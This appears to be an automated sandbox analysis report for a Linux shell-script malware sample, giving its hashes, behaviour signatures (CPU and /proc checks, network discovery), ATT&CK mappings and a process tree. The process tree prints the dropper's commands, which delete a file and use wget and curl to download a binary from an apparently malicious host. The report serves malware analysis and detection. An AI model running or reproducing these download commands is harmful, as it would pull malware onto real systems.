fe3efd9aaf2ec11b971dabdf8f9671bd89ca8f2c05bbdfcbf95821203aceed29

Analysis

max time kernel
148s
max time network
28s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
07/11/2024, 03:38

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General

Target
fe3efd9aaf2ec11b971dabdf8f9671bd89ca8f2c05bbdfcbf95821203aceed29.sh
Size 10KB
Sample241107-d7bfdsxkdr
SHA256 fe3efd9aaf2ec11b971dabdf8f9671bd89ca8f2c05bbdfcbf95821203aceed29
MD5 246e6ced45088676b98412b38286a5a8
SHA1 6aac8bd8fee4601101c363e4cdaca62b706b0773
SHA512 7fa616c0eb0770405aa4002e0df506c627247c0157ba7dbdfc3c03300de542815b5ef8b9bbdbfde8b9b703f019a92326878bfcc015932c0bb31fb99a8dd991f1
SSDEEP 96:YttIiL40wLRXZRsR7ZLRJB6yIeOpV1c6RJqUPjzdd8Ln/76LcgD+uC1V1L+usL17:Mk93sR1v/0a3sRtr
MD5 SHA1 SHA512 SSDEEP

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
670	wget
675	curl

/tmp/fe3efd9aaf2ec11b971dabdf8f9671bd89ca8f2c05bbdfcbf95821203aceed29.sh
/tmp/fe3efd9aaf2ec11b971dabdf8f9671bd89ca8f2c05bbdfcbf95821203aceed29.sh
1⤵
PID:662
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:664
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7UUHOtWN3zNyJn3mag0RKsfBUSlHFKCSND
  2⤵
  - System Network Configuration Discovery
  PID:670
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7UUHOtWN3zNyJn3mag0RKsfBUSlHFKCSND
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:675

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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